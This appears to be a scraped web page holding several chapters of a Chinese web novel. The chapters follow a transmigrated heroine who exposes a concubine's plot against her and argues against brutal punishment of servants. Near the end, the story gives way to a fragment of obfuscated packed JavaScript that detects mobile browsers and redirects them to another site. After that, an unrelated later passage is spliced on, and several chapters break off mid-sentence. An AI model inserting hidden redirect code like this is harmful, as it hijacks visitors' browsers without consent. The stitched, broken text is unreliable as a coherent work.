沈望舒压低了声音,说话的语气也是难得的威严:“今日你能不能平平安安的回去,全看你这张嘴,愿不愿意说实话了。” 可她面上这样凶巴巴又十分有威严,内心却乐的跳脚:“哇,这种台词我早就想说一次试试了!好爽啊! 沈妄姝拍手叫绝:“你太出乎我的意料了!你从前是不是也是个恶女啊!跟我一样!” “不是,我都是看甄嬛传学的,”沈望舒笑嘻嘻的,便是在这种情况下,她还有心思去打趣沈妄姝,“有机会我推荐你也看看,好歹能让你学聪明一点,不至于才当上妃子没多久就被人给整死了。” 沈妄姝立刻气呼呼:“都这种情况了,你怎么还有心思骂我!” “对不住对不住,”沈望舒赶忙道歉,语气倒是十分真诚,“平时打工在心里骂老板骂习惯了……你这会儿直接住在我心上被我供养,咱俩属于一个无障碍沟通,你忍一下。” 他们二人在心里热聊,房间里却是另一番暗潮流动的景象,李三娘匍匐在地上,只短短思考了一瞬,便开口招了。 “是、是杜姨娘和二小姐……在半月前来找我,当时给了我三十两银子……”李三娘在柴房里关了半日,既无人接应,也无人来相救,再被带来这个房间时,她就已经知道自己已经没有别的选择,只能选择投靠沈望舒了。 她出身低微,十分清楚得罪了这些权贵的下场,她看那杜姨娘想也不想便要和自己撇清关系,眼看着是靠不住了,她除了眼前这个大小姐之外,没有人能够依靠,倒不如拼上一把算了:“杜姨娘让小人……让小人今日给二位小姐化妆,只是要将二小姐画的美若天仙,将大小姐画的越丑越好,好叫小姐丢个大脸……如今那银子还在小人家里藏着,大人尽可去查看。” 李三娘话才说完,一直抖若筛糠的吉祥立马颤颤巍巍地接口道:“姨娘半月前就找奴婢,要奴婢告诉她们小姐生辰时穿什么衣服……故意要给小姐难堪的!” “我早就知道你心思不正!”沈星遥听不下去,抬手怒指杜姨娘,“整日挖空心思,尽想着要害我们兄妹!” 这下便是从刚才起就一言不发的沈向远,也面带怒色地往杜姨娘的方向看了过去,绷着脸问:“杜云香,你还有什么话要说?” 面对李三娘和吉祥的指控,以及满腔怒火的沈向远父子俩,杜姨娘还未做任何解释,眼泪却先一步淌了下来,她眼泪汪汪地看向沈向远,哀切地哭道:“老爷,少爷,我知错了。” 她的眼泪“啪嗒”一声落到地上,倒十分有哀婉美人的模样,只听她凄凄切切地继续哭道:“可是老爷,我心里苦啊!” “我在沈府近二十年,自从夫人过世以后,府中大小事务皆由我一人操持,各种艰辛可以想见,”杜姨娘以袖掩面,那模样十分凄惨,“我这身份说的好听是姨娘,可实际上就是半个下人,也没人将我的菀菀当作正经的小姐来看……” 她说这话的时候,又悄悄去抬眼看站在边上怒气冲冲的沈星遥,那眼神分明就是在控诉沈星遥才是这一切的罪魁祸首一般:“眼看着菀菀也要到了谈婚论嫁的年纪,我也只是一时心急,才做了这样的糊涂事!可我真的只是一心为了菀菀打算,并不敢给大小姐下毒啊!那侍女信口雌黄污蔑我,老爷您千万不能相信啊!” 这些话一字字、一句句都出自肺腑,哭得简直叫人都要心疼,旁人若是看了,还真以为她受了多么大的冤屈似的。 杜姨娘这话才说罢,她身边的沈菀便“扑通”一声跪了下来,一边去拽沈向远的裤脚一边哭道:“爹,爹,您莫要怪罪娘亲了,都是我不好,是我羡慕姐姐整日有漂亮的衣裳可以穿,羡慕姐姐天仙一样的容貌,”她到底还年轻,不似杜姨娘那般眼泪说来就来,却也尽力摆出一副可怜巴巴的委屈样,说话的声音也带着些哽咽,“分明我也是爹爹的女儿,可我自小到大得到的衣服、吃食、月例却样样不如姐姐,旁人也只认她一个人是沈家大小姐,女儿事事看在眼里,嘴上虽然不说,可心里实在难受啊!” “是娘她心疼女儿受了委屈,才会做出这样的糊涂事,可她真的没想过要害姐姐的性命啊……姐姐,姐姐!”沈菀又抬起头去求沈望舒,桃花一样的脸都皱巴成了一团,瞧着确实可怜,“姐姐,妹妹不过一时猪油蒙了心做了错事,你大人有大量,就别跟我计较这些事情了,好吗?” 她们母女俩人哭得肝肠寸断,一番话说得又情真意切,听得沈向远面上的表情已经不似方才那般愤怒,显然已经将这些话听进去,觉得自己确实亏待了这母女二人,开始觉得心软了。 沈星遥最了解他这个爹,看见他这副模样就知道不妙,显然是想把这事情轻拿轻放了,他心里着急,正要开口说话,却听得倚在床栏上的沈望舒幽幽地开口说道:“府里又不是不给妹妹办生辰宴,你又何来羡慕与嫉妒一说呢。” 她说话的声音不大,问的话却十分掷地有声:“府里向来是待妹妹不薄,又有姨娘管着家,你何时受过半点苛待?你哪件衣裳做的不如我、又何时在吃食上被苛待了吗?” “我自小便没了娘亲在身边,爹爹与哥哥因着这个才对我有些偏爱,可难道连这一点点的偏爱,姨娘和妹妹也都容不得吗?”沈望舒说着说着,便有眼泪不受控制地自眼角滑落,仿佛她受了天大的委屈一般,“今日妹妹连看我过个生辰都要嫉妒,一定要在我的 23.第二十三章 《请不要和男主谈恋爱》全本免费阅读 玉珠今年四十有三,是沈菀刚出生时就被杜姨娘招进府里做乳母的,据说还算得上是她的远房亲戚,自打入府了之后便一直跟在沈菀身边照顾她的饮食起居,如今也有十五六年的光景,算得上是府里的老人了。 沈星遥没想到玉珠会突然杀出来顶罪,当即有些懵了,反倒是沈向远先开口问她:“你在府里也工作了这么多年,一向安分守己,为何要害大小姐?” 玉珠跪在地上,朝沈向远重重地磕了个响头,一字一句地道:“老奴入府十几年,自打二小姐还是个奶娃娃时就跟在她身边,一日日地看着她长大,已然将自己当作了她半个娘亲,瞧见二小姐因为老爷偏心大小姐而受尽委屈,整日茶饭不思,老奴实在是心疼。” 说罢她又抬起头来,略带愤怒地望向沈望舒,咬牙切齿似的道:“大小姐平日里趾高气昂,向来不将姨娘和二小姐放在眼里,我这做乳母的心疼,这才想着给大小姐一个教训……私下去买了药,又给了吉祥十两银子,叫她把药下在大小姐的酒壶里。” 玉珠又“砰砰”地磕了两个头,有几分诚惶诚恐地道:“可老奴并不敢伤害大小姐性命啊!” 她声音高昂又愤怒,看向沈望舒的时候颇有一股子要破罐子破摔的架势,毫不掩饰地要将一切都抖落出来:“我交给吉祥的药,分明就是春药!” 既然事情都已经到了这份上,玉珠自然不想叫沈望舒还能够全身而退,她要将吴应春的事情和盘托出,她要说沈望舒分明已经去了望月苑,更要说她已经和吴应春私会过了,只是自己找过去的时候没见着人影,要说沈望舒已经不是清白之身——哪怕只有一点脏水,也要泼到沈望舒身上才够! 可她下一句话还没说出口,柳半夏却突然开口道:“这里头的药,确实是毒药没错,你买错药了。” “沈姑娘药性发作时被我及时发现,否则早已经命丧黄泉了。” 柳半夏为人正直,这辈子说谎的次数简直屈指可数,如今为了沈望舒的声誉,她却是想也不想、十分干脆地豁了出去,面不改色地说起了瞎话:“诸位若是不信,大可以去回春堂请我师傅蔡义山来看,这酒壶里的药,绝无可能是春药!” 要说起这蔡义山,倒也确实是个名人。 他是回春堂的主人,在江南给人治病四十余载,收的诊费公允,医术不错,人也好相处,如今年过古稀了,还时常亲自进山采药、下到穷乡僻壤去给人治病,因而蔡义山十分地受人尊敬,任谁见了都要礼让他三分。 是以当柳半夏一说自己是蔡义山的徒弟时,她原本只有七分可信的话也变成了十分,是谁也不会再质疑她了。 而沈向远更是恼怒。 沈望舒的娘亲是个温婉如水的美人,她与沈向远少年夫妻,又陪着沈向远走过一段时间的辛苦路程,二人也算得是情深意重、相敬如宾的夫妻典范,是以在沈夫人过世以后,沈向远依旧时常思念她,对于沈望舒这个早早丧母的女儿,他自然也多了分心疼与偏爱。 他整日忙于生意,没什么时间陪伴沈望舒,便想尽办法在金钱上补偿于她,却不想这沈家连个下人都感这样记恨主子,可见他这女儿平日里要受多少委屈?! 因而沈向远想也不想,立刻道:“玉珠心术不正,谋害小姐,杖刑一百,以儆效尤。” “吉祥杖刑二十,即刻赶出府去!” 他这话音才落,珠玉与吉祥皆嚎啕大哭起来,一直哭不出来的沈菀此时也被吓到,眼泪“唰”地一下掉了下来,连忙去向沈向远求情,求他能放自己乳母一条生路。 便是沈望舒这个受害者听见这刑罚,也有些震惊了:她虽然不生活在这个时代,却又听说过杖刑,这二十棍打下去,只怕是连脊椎骨都要打断了,一百棍打完还能有个人样?只怕是打不到一半就要血肉横飞、骨头连着皮一起被打烂了去,如何还能有命在? “不是,”沈望舒赶忙开口,“这最多也就是个杀人未遂,她俩甚至还不是主谋,不管怎么判罚,也不至于要她们二人死啊?” “吉祥犯了错,罚了钱赶出府去不录用就行了,二十棍打完,人不死也要半残废了。” “你替她们说什么话?”沈妄姝大为不解,“奴才犯了大逆不道的错,给这些处罚是再正常不过的事,你为何还要求情?你今日险些失了清白!难道你都不生气吗?” 沈妄姝今日看见她受难的全过程,是真的心疼她平白受这一遭苦,对沈向远提出的这个刑罚自然十分满意,沈望舒却摇了摇头,道了句:“在你们这个时代打工可真够不容易的……” 那边的沈星遥护妹心切,赶忙接话道:“怎么不至于?”他用手一指她的脑袋,像是儿时与她玩耍一般亲昵,语气却十分严肃,“她既然敢害你,受罚也是应该的。” 沈向远也点头道:“不错,不重罚何以立威?这样的事以后府里坚决不准再发生。” 沈望舒却长叹了一口气。 她抬起手来,用手一指跪在地上、泪痕未干的杜姨娘和沈菀,用近乎天真的语气问沈向远:“爹爹这样着急处罚两个婢女,是要将过错都推在奴婢身上,将她们母女俩的罪行就这样轻轻揭过吗?” 沈向远抿了抿嘴,并未作答。 但他不答,就已经代表他心中所想了。 沈望舒心下了然,但却不去追问沈向远的答案,只是又问他:“既然不杀杜姨娘与妹妹,那为什么要杀玉珠与吉祥呢?奴才的命难道不是命吗?” “一样都是人,难道我们生来就比她们高贵?” 沈望舒到底是在法治社会成长起来的现代人,即便装古人装的再像、为了赚钱演得再拼,也实在无法接受这样草菅人命的行为,更何况这个杀人未遂的罪名还是她给人家安上去的,若是真的就这样处罚下去,沈望舒实在于心难安。 因而便是身上依旧难受着,她也要一字一句地据理力争道:“她犯了法,自有法律去治她,把人送到官府去,该怎么判便怎么判,犯了大错也要死,小错也要死,那还要量刑做什么?做老板的人若是只能靠着性命威胁才能管理好手底下的员工,那这老板跟废物又有什么分别?” 她话说的急了,有些不受控制地咳嗽起来,柳半夏连忙来拍她的背,又将侍女端来的药给她喝了,这才感觉嗓子里舒服了些,便继续说道:“总之我不同意。” “且今日之事皆由姨娘和妹妹记恨我而起!她们二人究竟清白与否,爹爹心里早已有了定论,却仍旧要装作不知道,将所有过错都推到婢女的身上!”沈望舒皱着眉,泪珠噙在眼里、端出一副泫然欲泣的模样,冲沈向远一字一句地道,“可爹爹你是否想过,若不是我运气好,如今躺在这里的就已经是一具尸体了!” 沈望舒红着眼睛,脸上的表情绝望有之、痛苦有之,带着哭腔的语气像是对沈向远失望透顶的哭喊:“我的一条命,也换不回来公平、公正的处置吗?” 屋里的人沉默了。 沈向远确实是不想处理杜姨娘和沈菀的。 于他而言,虽然沈望舒被人暗害,可这主谋一个是陪伴他多年、贴心温柔的妾室,纵然偶尔有些小脾气,却也算得上一点可爱;另一个是自己一向乖巧听话的庶女,且沈菀如今还未出阁,若是被严重处罚的事情传出去了,对她将来的婚事并无半点益处。 更何况杜姨娘操持府中事务十来年,没有功劳也有苦劳,即便沈向远再疼爱沈望舒,但于他来说,手心手背都是肉,他确实不好做决断,更不想因为这事情闹的府内不宁,这才想着重重处置两个婢女,杀鸡儆猴,好叫杜姨娘安分一些。 但沈望舒不依不饶,此时又关乎她的性命,因而沈向远也不好做得太过难看,叫人觉得他这个爹是非不分 24.第二十四章 《请不要和男主谈恋爱》全本免费阅读 沈星遥送柳半夏出府的时候,才刚刚过了申时。 参加生辰宴的人都已经散去,偶尔有几个人在低声讨论沈大小姐突然消失的事情,却因着打听不出来什么东西而作罢,如今只剩下戏班子的人在一箱箱的往外头搬东西,一时间倒显得有些冷清了。 沈星遥交代了自己的侍卫一声,叫人把“喝多了酒、醉到不省人事”的吴应春给送回吴家去,这才带着柳半夏上了自己的马车。 作为沈府独子,沈星遥平日里所乘的马车之豪华,比起沈望舒来简直是有过之而无不及——整车是由金丝楠木所制成,四面的雕花巧夺天工,一看就费了匠人的不少心思,车厢内更是奢华至极,就连地上铺的毯子都是波斯传过来的金丝羊毛毯,金碧辉煌的模样,简直要闪了人的眼睛。 但柳半夏是个对金钱没有什么概念、亦不怎么追求金钱的人,便是坐在这珠光宝气的车厢里头,她也不觉得有什么不自在,更不会觉得这车有多么了不起,自己要多小心翼翼,只平心静气、仔仔细细地同沈星遥交代道:“方才我忘了说,这几日沈姑娘在吃食上要格外注意些,要少吃些燥热、油腻的食物。” 一听她说这事,沈星遥连忙去翻出套纸笔来,像个学生似的伏在小几上,将她说得每一个字都认真地抄了下来,沈星遥学问做的不好,一手字倒是写的还算工整,再加上他模样生的俊俏,如今端着付一言不发、埋头写字的模样,到还有几分像个知书达理的翩翩公子。 待到他都写完了、问清楚了,沈星遥才将那张几乎快写满的纸折了,又把它贴着身子仔细收好了,这才去开口和柳半夏说道:“今日真的多谢柳大夫了,若不是有你在,今日这事的后果简直不堪设想。” 他这说得真切又诚恳,半点做不得虚假,沈星遥只要一想到今日若是稍有不慎,自家妹子就会被人推入万劫不复的深渊,沈星遥当即连眼眶都泛起了红色,是真真觉得后怕了。 柳半夏却连连摆手道:“沈公子言重了!治病救人乃是我的职责所在,而且我曾经受沈姑娘恩惠,报答她也是应该的。” 只是她看见沈星遥通红的眼睛,心里却觉得有些惊奇。 其实有关于沈星遥与沈望舒这对兄妹的事情,柳半夏多少都是听过的。 沈家兄妹二人声名远扬,便是她从前并未与他们二人见过面,却也总会从别人的议论中听到有关于他们二人的传闻。 做大哥的沈星遥虽长了一张俊脸,却是个不学无术、整日无所事事的纨绔,成日的与那些个酒肉朋友混迹在一起,白日里在酒楼买醉,夜里便住在赌坊里闹到通宵,只怕哪一日发起疯来,连沈家那样大的家业都要被他败光了。 而做妹妹的沈望舒,空有江南第一美人的称号,却是个嚣张跋扈、不懂礼数、挥霍无度的草包,性格顽劣不说,还以欺负他人为乐,略不顺心便动辄打骂下人,凡是见过她的人无不摇头叹息,只可惜她那张倾国倾城的脸庞了。 世人都说那沈向远定是上辈子做了什么恶事,才会生出这样一双儿女来讨债,可柳半夏和他们二人短暂的交往过后,却觉得沈姑娘虽然行事出格张扬了些,却是个古道热肠、勇敢又机敏的姑娘,而她哥哥沈公子也不似传言里那般纨绔又愚蠢,反而是个关心妹妹的好兄长,并不似传闻那般恐怖又难相处。 柳半夏向来有什么说什么,心里想着事情也不瞒着,直言道:“沈公子与传闻中十分不同,是个重情重义的好大哥。” 沈星遥自然明白那些与他们兄妹二人相关的“传闻”都讲了些什么,只是那传闻大部分也不算得假,他也不好反驳什么,只是有些不好意思地干笑两声,反而替沈望舒解释了起来:“我妹妹是个好姑娘。” “只是我娘亲去世的早,爹又整日在外头忙着,家里头除了钱什么都没给过她,更无人要教导她如何为人处事,”一提起沈望舒,沈星遥心底才压下去那些心疼与苦涩便又一股脑地翻涌了上来,“可她本性向来是不坏的……她一得了什么好东西,从来都会想着先给我这个做大哥的一份——柳姑娘说我是个好兄长,可其实我并非什么好哥哥。” “你也瞧见了,家里的姨娘是那个样子,她若不凶一些、嚣张一些,又如何在她们手下活下来呢,”沈星遥话匣子一打开,便絮絮叨叨地说个没完:“偏偏我这个做兄长的,只晓得一味逃避、混日子享乐,将她一个人丢在家中面对虎豹豺狼。” “今日她在府中险些被害,我才知晓自己这个大哥多么无用、多么混账,叫她一个姑娘家平白承担了那样多的苦楚。”沈星遥说着说着,眼眶就又红了起来,就连眼泪也险些掉下来,柳半夏连忙递了个帕子给他,好叫他擦一擦眼角的泪水。 沈星遥伸手去接了,用那帕子囫囵在脸上擦了一把,他本就长得俊,便是这样哭泣也半点不显得难看,还叫他看着有几分的招人心疼。 他平日里身边也没几个能这样说真心话的人,这些话憋在心里实在难受,如今倒豆子一样都吐出来了,这才觉得好受一些,只是说完了又觉得尴尬,有几分局促地道:“对不住,让你看了笑话。” 柳半夏却只觉得他至情至性,并无半点可笑之处。 待到沈星遥情绪稳定下来时,沈府的马车也正好停在了回春堂跟前。 柳半夏下了车,对沈星遥道:“沈公子,我房里还有些固本培元的药丸,服下之后可以促进身体恢复,你带些回去给沈姑娘吃吧。” 沈星遥自然说好,亦步亦趋地跟在柳半夏的身后,走进了回春堂。 他二人才迈进回春堂的大门,便有一青衣男子直直地冲他们走了过来,柳半夏尚未开口说话,就见那男子劈头盖脸地说道:“怎么去了这样多的时间!你不知道医馆里头忙得很吗?!” “师兄,”柳半夏不卑不亢地向那人打了招呼,解释了句,“我给人看了诊才回来的。” 她所谓的师兄,自然就是蒋义山的大弟子周迟了。 周迟懒得听她多做解释,只抬手一指后院,凶神恶煞地道:“里头还有许多药要捣,你赶紧去弄,耽搁了前头就没药了,还有前日收来的二百多斤药材药你也一并都去晾了。” 他说完还嫌不够,又补了句:“还有今日换下来的被褥、煮完药的砂锅,你也都一起洗了,前头忙着,没人手去干这些。” 柳半夏不欲与他争吵,正要点头把这些活都应承下来,却听得身后的沈星遥开口问了句 25.第二十五章 《请不要和男主谈恋爱》全本免费阅读 在沈妄姝的抗议之下,沈望舒到底是没收下陆晏时那一块玉佩。 她觉得自己跟女皇的位置失之交臂,实在颇为可惜,沈妄姝却因此闷闷不乐了许久,憋了整整两日都未开口和沈望舒说一句话。 沈望舒得了两日清净来养身子,可平日里被沈妄姝吵嚷惯了,如今突然得了清净,反倒有些不习惯没有尖叫鸡在脑子里吵闹的日子,待到自己身体恢复好了、可以自由活动了以后,她终于忍不住去问沈妄姝:“宝,你又在不高兴什么?” 沈妄姝的称呼从冷漠的老板一下越级升级成了亲昵的宝,就好像沈望舒已经把她当作闺中密友了一般,叫两辈子从未正常交过朋友的沈妄姝霎时又高兴了起来。 但她也就开朗了那么一瞬间,一想起自己的心事,便又立马挂起脸来,闷闷不乐地道:“我不高兴。” “上辈子我对陆晏时那样好,”沈妄姝嘟嘟囔囔,似乎真的十分郁闷,“他都没把那玉佩送给我过!” 沈望舒穿戴洗漱整齐了,正推了门要往外走,她是实在没想这个恋爱脑这两日都在想这个,有些无奈地开口安慰她:“你上辈子都做上妃子了,他做皇帝给你的赏赐不比这玉佩值钱吗?” “那怎么能一样!”沈妄姝一听更不高兴了,“那玉佩是他娘亲遗物,他从前便是再贫困潦倒也从未想过变卖此物,又靠着这个和圣人相认,重要程度岂是寻常珠宝能相比的?!” 她对沈望舒轻巧的语气十分愤愤不平:“他居然说送你就送你,我能不生气吗!” 沈望舒还没答话,沈妄姝却先掉了眼泪下来,委屈嘻嘻地说道:“还有我大哥,我花了那样大的功夫才叫他学好一点,却这样听你的话,三言两语就被你治好了。” “他能学乖些我心里自然是高兴的,”她生怕沈望舒误会,又赶紧解释了一句,“可我就是不甘心,为什么自己做了那样多的努力,却样样都不见成效……” 沈妄姝越说越伤心,越说越觉得委屈,越说眼泪越止不住,偏偏沈望舒却半句都不安慰她,反而Diss她道:“说你笨你还真的就是笨。” 她一边走,一边笑沈妄姝:“怪不得宫斗输的一塌糊涂。” 沈妄姝被她这样一骂,更委屈了:“我都这样伤心了,你怎么还这样骂我。” “因为你到现在都不明白,我之所以能劝得动你大哥,除了我够狠心、拿捏住了他的命脉之外,还有一处关键,”沈望舒说话的语气十分平淡,“因为你大哥真的关心你、爱护你。” “你以为他是在听我的话吗?他以为我是你,听得分明是你的话,就是这样简单。” 她并没有在安慰沈妄姝,而是以平静至极的口吻慢悠悠地向她叙述着事实,却说得沈妄姝大为感动,哭唧唧地说道:“呜呜呜,你真的好聪明,我选你真的选对了,你人真好,我好喜欢你……” 沈望舒絮絮叨叨、前言不搭后语地说了许多话,沈望舒听她说完了,才调侃了句:“那你给我加钱。” “加!”沈妄姝激动道,“一定给你加!” 但是她激动完了,突然发现沈望舒正走在去往杜姨娘院子的路上,狐疑道:“你上哪儿去?” 沈望舒却不直接回答,反而买了个关子:“你猜。” “是不是来棒打落水狗!”沈妄姝喜出望外,“我从前看话本时,最爱看的就是这一段!” 沈望舒却只是笑了笑,并不回话。 杜姨娘与沈菀在祠堂跪了两日,终于跪够了时候,被沈向远给放了出来。 沈府的祠堂与寻常人家的祠堂并无什么不同,都是在人迹罕至的院子里盖一间屋子,里头供奉着祖先的牌位,逢节日来上一上香而已,白日里瞧着没什么,可一到了夜里,看着那样多密密麻麻的牌位放在上头,听着屋外风吹树叶时的沙沙声,总免不得要觉得心里发怵。 更何况地板上铺的青砖又硬又凉,便是拿了蒲团垫着,那寒气也依旧能顺着蒲团、穿过秋装的布料,直直地冻进人的膝盖骨里去,她二人又被打了板子,是跪也难受坐也难受,这两日下来也叫人一双腿快要废了。 沈菀那件和沈望舒一样的漂亮衣裙也被折腾地皱皱巴巴,哪里还有几日前风光的模样? 她们母女二人这般狼狈的回到院里,尚未来得及换身衣裳,一听说沈望舒来了,面上的表情自然不甚好看,却不得不起来迎她。 沈望舒大大咧咧地进了杜姨娘的屋子,往椅子上一坐,悠哉悠哉地开口问:“姨娘和妹妹跪了两三日,可把脑子都跪清楚了?” 杜姨娘才被罚过,浑身的皮肉没有一处是不痛的,加上沈向远这几日怒气未消,对她们母女二人不闻不问,她的气焰自然收敛不少,只讪笑着说了句:“是我管教下人无方,害小姐受苦了。” 她难得在沈望舒面前这般和蔼,沈望舒却不吃这套,冷笑了一声道:“姨娘何必在我面前装傻?你应该晓得,我其实什么都知道。” 沈望舒以手指轻敲桌面,“叩、叩”的声音好似催命的钟,一声声敲进杜姨娘的心里。 却听得她说:“我今日来并非要找你们麻烦,而是来给你和妹妹一个机会的。” 沈菀嘴快,心里又对她这个姐姐不服气,立刻反问:“你以为自己是谁,又能给我们什么机会?” 沈妄姝也急了:“你不是来赶尽杀绝的啊?那你赶紧走,不准跟她们和好!” 但沈望舒却不理她们二人,只抬起眼来看了一眼从刚才起就一直站着的杜姨娘,勾起嘴角来笑了一声:“姨娘为什么要着急害我,你我心知肚明,不是吗?” 杜姨娘没说话。 若是沈望舒和从前一样,只是个作威作福、挥霍无度的无脑大小姐的话,她确实没有要故意去害沈望舒的心思——左右不过是个女人,将来嫁出去之后又能对她和沈菀有什么威胁?等到她给沈菀寻上一门好亲事之后,她既有女儿可依靠,又有沈向远的 26.第二十六章 《请不要和男主谈恋爱》全本免费阅读 今日清晨才下过雨,枝头尚未来得及变黄的叶子叫那雨水打落了一大片,湿漉漉地铺在地上,青青黄黄的一大片,瞧着倒是有些无端的萧瑟。 有清冷的秋风穿过长长的回廊,吹在人身上时也带了些寒意,沈星遥只穿了件薄衫,一张脸却因为跑得急了而微微泛红,连额间都渗了层薄汗,也不知道究竟发生了什么事,能叫他急成这副模样。 沈星遥眼睛亮晶晶、一脸期待地看向沈望舒的模样,让沈望舒莫名地想起从前的邻居家里养的、来找主人讨要零食的小狗,由于他面上期待与讨好的神色实在太过明显,叫沈望舒一时之间都忘了去问他要钱做什么,反而下意识地问他:“你要多少钱?” 沈星遥立刻开口:“差不多五千两白银!” “多少?”沈望舒惊叫一声,“五千两?!” 以沈星遥挥霍的劲头来说,他向来不觉得五千两白银是什么大钱,因而听到沈望舒反问的话,他甚至还能理所当然地点一点头,应道:“对呀,五千两。” 沈望舒简直头疼。 她也没有立即说不给,而是耐着性子问他:“你要这些钱做什么?” 沈星遥就等着她发问呢,当即扯出个笑容来,颇为自豪地大声道:“我要把回春堂买下来!” “啊?”沈望舒被他一句前言不搭后语的话给说懵了,“好好的你买回春堂做什么?” “嗐,你有所不知!”一提到回春堂的事,沈星遥就立刻变得义愤填膺了起来,“那回春堂的周迟是个卑鄙小人,医术比不上别人不说,还是个十成十的小心眼,嫉妒柳大夫的天赋,便接着师兄的名义处处打压折磨她!” 他难得这样去管外人的闲事,沈望舒自然有些好奇,便要他跟自己回院里去慢慢讲,沈星遥却是个急性子,根本等不到回到屋里去,跟在沈望舒后头就嘚吧嘚吧地把话全说了:“偏偏这种人将来还要继承回春堂,你说气人不气人?” 沈星遥一边走,还要一边絮絮叨叨地念道,“反正我是气不过,所以我打算把回春堂买下来,然后把周迟那个王八蛋给赶走。” 沈望舒听得有些无语。 其实在《医女皇后》原本的剧情里,作者安排周迟这个角色的目的就是为了历练柳半夏的人格,推动剧情发展、以及前期增进陆晏时和柳半夏感情用的工具人。 按照原书的剧情发展,陆晏时在被治病的小半年里,要和聪明善良的柳半夏互生情愫,同时也是在这段时间里,陆晏时发现了周迟嫉妒、打压柳半夏的事情,在找回了自己的皇子身份后,暗中作梗,将周迟赶出了回春堂,从做出一个老套的英雄救美的戏码,以此与柳半夏的感情更进一步。 但在这之前,作为卖给蒋义山、卖身契还在老爷子手里捏着的半个奴婢,柳半夏必须要经历种种周迟给予的各种身体与精神上的折磨,才能完成作者给她的历练,同时在周迟被赶走的这段剧情上迎来一个前期最重要的爽点。 结果现在倒好,她哥要来抢男主的活了。 要说别的也没什么大不了,只是一提到要那么多的钱,沈望舒就没那么淡定了,直接凶巴巴地对沈星遥道:“五千两!?你倒也好意思开口向我要!五千两白银够你开十几二十个医馆了!你对钱到底有没有一点概念!” 她过了二十来年的穷日子,好不容易攒点钱都得一毛钱一毛钱地数着指头花,看见这些个挥霍无度的公子哥自然是一肚子来火,因而哪怕她身子才刚好,也要提起精气来、生龙活虎地去骂沈星遥道:“你知不知道五千两我们要赚多久?!钱就算是从天上掉下来你都得弯腰去捡!你上下嘴皮子一翻就要给人家送五千两?你是什么品种的傻子败家子?!” 沈望舒在这骂得起劲,她脑子里的沈妄姝却先心疼上她大哥,理直气壮地替他说起了话:“不就五千两银子?你给他就是了!我们家又不是给不起!” 这对兄妹迟早有一天会把沈望舒给气死。 而沈星遥也觉得自己被骂的委屈,可怜巴巴地道:“那……那我这狠话都放出去了,当时好多人都瞧见、听见了……现在不买多没面子呢……” 他那装委屈的语气和表情简直和沈妄姝如出一辙,沈望舒一瞧见他那模样,就不自觉地想起脑子里那个尖叫鸡无理取闹、满地撒泼的样子,更是没了半点好脸色,板着脸直言道:“面子?你的面子能值多少钱?!你靠你的面子能给我赚回来多少钱?” “没有那个能耐,逞这个风头做什么?” 她这话说的句句在理,沈星遥是半句都反驳不得,只能小声的嘀咕了句:“那人家柳姑娘救了你,我帮她不是应该的吗……再说她长得又好看,在那儿地方受委屈还怪招人心疼的。” 这一下倒叫沈望舒和沈妄姝两个人都傻了。 “等一下!等一下!”沈妄姝惊叫出声,“我哥什么意思!他为何会心疼柳半夏!?柳半夏不会真的变成我的嫂子吧!?” 沈望舒冷笑一声:“不可能,你在想屁吃。” 而那一头的沈星遥丝毫不觉得自己抛出了什么重磅消息,反而还在自顾自地说话:“那我也总不好看见她在那儿被欺负了还不管不顾吧,她救了你,我对她见死不救,显得我多不是人啊……那周迟看着就不是个好东西,以后肯定还要变本加厉地欺负她的。” 沈望舒看着他那模样,听着脑子里沈妄姝嘤嘤嘤的叨念,长长地叹了一口气。 她忽然觉得沈向远也是个难得一遇的人才,否则怎么能养出这样三个奇葩儿女?沈家到现在没出过什么顶天的大事,简直是沈向远上辈子积了大德。 即便叫沈望舒劈头盖脸地骂过一顿,但沈星遥还是一副不达目的不愿走的样子,沈望舒瞧着他的模样,稍一思忖,改口道:“我觉得五千两买回春堂不十分划算,但要是能把回春堂干倒闭的话,倒是可以一试。” 这下轮到沈星遥听不明白了。 沈望舒却已经有了个初步的想法,只开口吩咐他道:“你去开一家新的医馆,离回春堂越近越好,若是能开在它隔壁或者正对面,那就是最理想的。” “然后去请两位名医来坐诊,所有的诊金和药钱只收回春堂三分之二的价格。” 这话说的沈星遥大为不解:“这、这不就是要我去做赔本买卖吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12871632|131302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情绪几乎要将沈望舒吞没了。 此时天上仍有皑皑白雪纷纷扬扬地洒落下来,似飞花一般在她们二人之间飘舞,凝结着冷气的风刮过远处的竹林,叫上头的雪折断脆弱的竹枝,扑通扑通地跌落下来,无声地坠进厚厚的雪地里,一如沈望舒突然间慌乱的心。 连沈望舒自己都不知道为何自己会突然这样紧张,一句话在喉咙里卡着,上下滚了三五回都没说出口,气温分明跌至冰点以下,她却觉得自己从头到脚都好似有火在烧,叫她的脸都不自觉地发起了烫。 “四、是、”她惊觉自己一直不说话会显得很奇怪,赶忙开口要回话,却险些咬了自己的舌头,顿了一顿,才叫自己冷静下来,点着头回了话,“是的,你是最好看的。” 陆晏时终于满意了。 这些日子里他总在想,既然沈姑娘喜欢长得好看的人,对所有的美人都有怜惜之心,那自己这副皮囊不就是最大的优势吗?并非陆晏时要自夸,而是他这副容貌的确是实打实的俊美无双,任谁见了都要忍不住多看几眼。 他从来不觉得生的这样一副容貌有什么不得了,如今却要感谢老天赐予他这张绝世的面庞,好叫自己有机会来靠它讨得沈望舒的一丝偏爱与怜惜。 陆晏时不认为自己以色侍人有什么不对,还高高兴兴地将沈望舒送的那件狐皮大氅抖开穿了,这才笑着去问沈望舒:“晚些时候我还要去回春堂取药,姑娘若是去济世堂的话,可以顺路带我回来吗?” 沈望舒已经不记得自己是怎么答应陆晏时的,只晓得自己好似逃一样的离开了竹苑,直到自己坐上了去济世堂的马车时,她才想起自己想问的事情还没问。 